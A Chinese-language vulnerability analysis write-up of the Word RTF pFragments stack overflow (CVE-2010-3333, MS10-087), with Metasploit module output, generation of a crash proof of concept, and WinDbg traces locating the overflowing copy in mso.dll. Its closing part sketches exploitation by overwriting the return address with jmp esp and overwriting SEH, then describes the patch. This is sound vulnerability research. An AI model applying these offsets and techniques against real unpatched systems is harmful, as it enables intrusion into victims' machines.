这个漏洞当时利用林来疯事件来传播
这是word的漏洞
rtf文件格式
http://baike.baidu.com/link?url=AoXKLJFrtOS0j1EzIUIXIs78yiDNtuxefPWEQBRC-CmBzaH96E8SS_tHCKckWsAgZsTEqFMtTqlE5BFqW6bI3rqDZPKv8_LXSY4YO_vsfyu
http://www.biblioscape.com/rtf15_spec.htm
基于栈回溯的漏洞分析方法
msf > search cve-2010-3333 [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ------------------- ---- ----------- exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(ms10_087_rtf_pfragments_bof) > info Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof Platform: Windows Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2010-11-09 Provided by: wushi of team509 unknown jduck <[email protected]> DJ Manila Ice, Vesh, CA Available targets: Id Name -- ---- 0 Automatic 1 Microsoft Office 2002 SP3 English on Windows XP SP3 English 2 Microsoft Office 2003 SP3 English on Windows XP SP3 English 3 Microsoft Office 2007 SP0 English on Windows XP SP3 English 4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English 5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English 6 Crash Target for Debugging Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtf yes The file name. Payload information: Space: 512 Avoid: 1 characters Description: This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life. References: http://cvedetails.com/cve/2010-3333/ http://www.osvdb.org/69085 http://technet.microsoft.com/en-us/security/bulletin/MS10-087 http://www.securityfocus.com/bid/44652 http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
我们是分析漏洞,生成poc即可
msf exploit(ms10_087_rtf_pfragments_bof) > set target 6 target => 6 msf exploit(ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'msf.rtf' file ... [+] msf.rtf stored at /root/.msf4/local/msf.rtf
附加后打开poc
(904.90c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000c8ac ebx=05000000 ecx=00001ab7 edx=00000000 esi=02b35ddc edi=00130000 eip=30ed442c esp=0012a208 ebp=0012a240 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到是在复制的时候报错了,看看esi应该是一个不可读的地址,下面发现我错了,esi可读可写,edi指向的地址只可以读
:000> db esi 02b35ddc 75 35 45 75 36 45 75 37-45 75 38 45 75 39 45 76 u5Eu6Eu7Eu8Eu9Ev 02b35dec 30 45 76 31 45 76 32 45-76 33 45 76 34 45 76 35 0Ev1Ev2Ev3Ev4Ev5 02b35dfc 45 76 36 45 76 37 45 76-38 45 76 39 45 77 30 45 Ev6Ev7Ev8Ev9Ew0E 02b35e0c 77 31 45 77 32 45 77 33-45 77 34 45 77 35 45 77 w1Ew2Ew3Ew4Ew5Ew 02b35e1c 36 45 77 37 45 77 38 45-77 39 45 78 30 45 78 31 6Ew7Ew8Ew9Ex0Ex1 02b35e2c 45 78 32 45 78 33 45 78-34 45 78 35 45 78 36 45 Ex2Ex3Ex4Ex5Ex6E 02b35e3c 78 37 45 78 38 45 78 39-45 79 30 45 79 31 45 79 x7Ex8Ex9Ey0Ey1Ey 02b35e4c 32 45 79 33 45 79 34 45-79 35 45 79 36 45 79 37 2Ey3Ey4Ey5Ey6Ey7 0:000> !address esi 02b30000 : 02b30000 - 0d60c000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageIsVAD 0:000> !address edi 00130000 : 00130000 - 00003000 Type 00040000 MEM_MAPPED Protect 00000002 PAGE_READONLY State 00001000 MEM_COMMIT Usage RegionUsageIsVAD 0:000> db edi 00130000 41 63 74 78 20 00 00 00-01 00 00 00 98 24 00 00 Actx ........$.. 00130010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 ........ ....... 00130020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 ............4... 00130030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................ 00130040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 ................ 00130050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 ................ 00130060 9c 01 00 00 00 00 00 00-5b 49 59 2d b0 03 00 00 ........[IY-.... 00130070 32 00 00 00 e4 03 00 00-d2 02 00 00 00 00 00 00 2............... 0:000> db esp 0012a208 10 0d 2d 01 f8 a3 12 00-fb b5 f0 30 10 0d 2d 01 ..-........0..-. 0012a218 30 a2 12 00 00 00 00 00-00 00 00 00 00 00 00 00 0............... 0012a228 00 00 00 00 12 e1 e4 b9-41 61 30 41 61 31 41 61 ........Aa0Aa1Aa 0012a238 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa7 0012a248 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A 0012a258 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab 0012a268 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac3 0012a278 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A
看一下lm一条命令
The lm command displays the specified loaded modules. The output includes the status and the path of the module.
v 参数 //显示详细的信息
Causes the display to be verbose. The display includes the symbol file name, the image file name, checksum information, version information, date stamps, time stamps, and information about whether the module is managed code (CLR). This information is not displayed if the relevant headers are missing or paged out.
m Pattern //可以直接字符串或者正则
Specifies a pattern that the module name must match. Pattern can contain a variety of wildcard characters and specifiers. For more information about the syntax of this information, see String Wildcard Syntax.
Note In most cases, the module name is the file name without the file name extension. For example, if you want to display information about the Flpydisk.sys driver, use the lm mflpydisk command, not lm mflpydisk.sys. In some cases, the module name differs significantly from the file name. For more information, see Executable Image Path.
0:000> lmm mso v start end module name 30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image name: mso.dll Timestamp: Tue Jun 19 07:53:36 2007 (46771B00) CheckSum: 00BB6E3C ImageSize: 00BBC000 File version: 11.0.8172.0 Product version: 11.0.8172.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0000.04e4 CompanyName: Microsoft Corporation ProductName: Microsoft Office 2003 InternalName: MSO OriginalFilename: MSO.DLL ProductVersion: 11.0.8172 FileVersion: 11.0.8172 FileDescription: Microsoft Office 2003 component LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.
那么我们从上面可以知道是mso.dll里面的复制导致的栈溢出,导致复制到edi(0x00130000)这个只读地址,最后造成访问违例
通过查看ida,30ed442c位于函数30ed4406内,我们记住这个,下面可能用到
那我们在30ed442c这个地址下个断点,看看栈的情况
Breakpoint 0 hit eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=028c000c edi=0012a230 eip=30ed442c esp=0012a208 ebp=0012a240 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0012a240 30f0b56b 0012a3ac 00000000 ffffffff mso!Ordinal1246+0x16b0 0012a270 30f0b4f9 0012a3f8 0012a3ac 00000000 mso!Ordinal1273+0x2581 0012a4bc 30d4d795 00000000 0012a4fc 00000000 mso!Ordinal1273+0x250f 0012a4e4 30d4d70d 30d4d5a8 012d1074 012d10ac mso!Ordinal5575+0xf9 0012a4e8 30d4d5a8 012d1074 012d10ac 012d0f5c mso!Ordinal5575+0x71 0012a4ec 012d1074 012d10ac 012d0f5c 30dce40c mso!Ordinal4099+0xf5 0012a4f0 012d10ac 012d0f5c 30dce40c 00000000 <Unloaded_PI32.dll>+0x12d1073 0012a4f4 012d0f5c 30dce40c 00000000 012d0d38 <Unloaded_PI32.dll>+0x12d10ab 0012a4f8 30dce40c 00000000 012d0d38 0012b2a8 <Unloaded_PI32.dll>+0x12d0f5b 0012a4fc 00000000 012d0d38 0012b2a8 00000000 mso!Ordinal2940+0x1588c
其实我们直接看第一个返回地址就行了,即30f0b56b
利用ida,那么就是上面这个call了
当然用windbg也是可以的
0:000> u 30f0b55f mso!Ordinal1273+0x2575: 30f0b55f 45 inc ebp 30f0b560 086a00 or byte ptr [edx],ch 30f0b563 ff750c push dword ptr [ebp+0Ch] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2) 30f0b56b 84c0 test al,al 30f0b56d 744c je mso!Ordinal1273+0x25d1 (30f0b5bb) 30f0b56f 3bfb cmp edi,ebx 30f0b571 c6451300 mov byte ptr [ebp+13h],0
作者的话是看第二行的最后那一行的
0:000> ub mso!Ordinal1273+0x2581 mso!Ordinal1273+0x256d: 30f0b557 23c1 and eax,ecx 30f0b559 50 push eax 30f0b55a 8d47ff lea eax,[edi-1] 30f0b55d 50 push eax 30f0b55e 8b4508 mov eax,dword ptr [ebp+8] 30f0b561 6a00 push 0 30f0b563 ff750c push dword ptr [ebp+0Ch] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)
其实那里第一行的那个是当前指令
0:000> u mso!Ordinal1246+0x16b0 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 30ed442e 8bc8 mov ecx,eax 30ed4430 83e103 and ecx,3 30ed4433 f3a4 rep movs byte ptr es:[edi],byte ptr [esi] 30ed4435 5e pop esi 30ed4436 5f pop edi 30ed4437 c20c00 ret 0Ch 30ed443a 90 nop
所以是在30F0B5C2处调用了触发异常的函数,那我们在这个函数下断点,运行起来后f10单步跟踪
Breakpoint 0 hit eax=0012a3f8 ebx=00000000 ecx=0012a26c edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c2 esp=0012a244 ebp=0012a270 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25d8: 30f0b5c2 55 push ebp 0:000> p eax=0012a3f8 ebx=00000000 ecx=0012a26c edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c3 esp=0012a240 ebp=0012a270 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25d9: 30f0b5c3 8bec mov ebp,esp 0:000> p eax=0012a3f8 ebx=00000000 ecx=0012a26c edx=00000000 esi=00000000 edi=00000000 eip=30f0b5c5 esp=0012a240 ebp=0012a240 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x25db: 30f0b5c5 83ec14 sub esp,14h
之后我们会跟踪到这,就是这个函数导致crash的,跟进
0:000> p eax=30da33d8 ebx=05000000 ecx=0012a230 edx=00000000 esi=012d0d10 edi=0012a3f8 eip=30f0b5f8 esp=0012a214 ebp=0012a240 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mso!Ordinal1273+0x260e: 30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406
我们看到了复制的大小,ecx=c8ac,由于是以dword复制,所以除以4,(右移两位)
0:000> p eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=027a000c edi=0012a230 eip=30ed4429 esp=0012a208 ebp=0012a240 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16ad: 30ed4429 c1e902 shr ecx,2 0:000> p eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=027a000c edi=0012a230 eip=30ed442c esp=0012a208 ebp=0012a240 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
我们再看看样本,就是这里的值啊
那我们看看源地址指向的数据吧,跟那个pattern定位返回地址的字符串一样的吧
0:000> db esi 027a000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 027a001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 027a002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 027a003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 027a004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 027a005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 027a006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 027a007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
而且我们看到edi距离ebp0x10,即距离返回地址0x14,再搞4个字节就覆盖返回地址了,再继续就可以覆盖SEH了
总结:是word中的rtf分析器在解析pFragments属性没有正确计算属性值所占用的空间大小,
我怎么感觉是没检测pFragments属性的长度呢
漏洞利用
覆盖返回地址为jmp esp,又最后是ret 0xc,再搞12个90再布置shellcode即可
但是尝试的时候发现并没有那么简单,因为edi指向的是上一个函数的局部变量位置,
所以当返回上一层函数后,会出各种错误
我先看看msf的样本怎么样,msf确实牛逼,调试看看是怎么实现的
但是一步过那个rep mov指令就调试不了了
我们看到SEH被覆盖了
甚至调试器都挂了
那我还是尝试作者里面的样本吧
这个是jmp esp的地址
也就跳到了栈上了执行了
我当时改shellcode改成我的,结果shellcode中的某些值被改了,导致不能正确执行
漏洞修复
我们查看漏洞函数
发现多了那么几块
判断加入获取到的长度大于4就退出了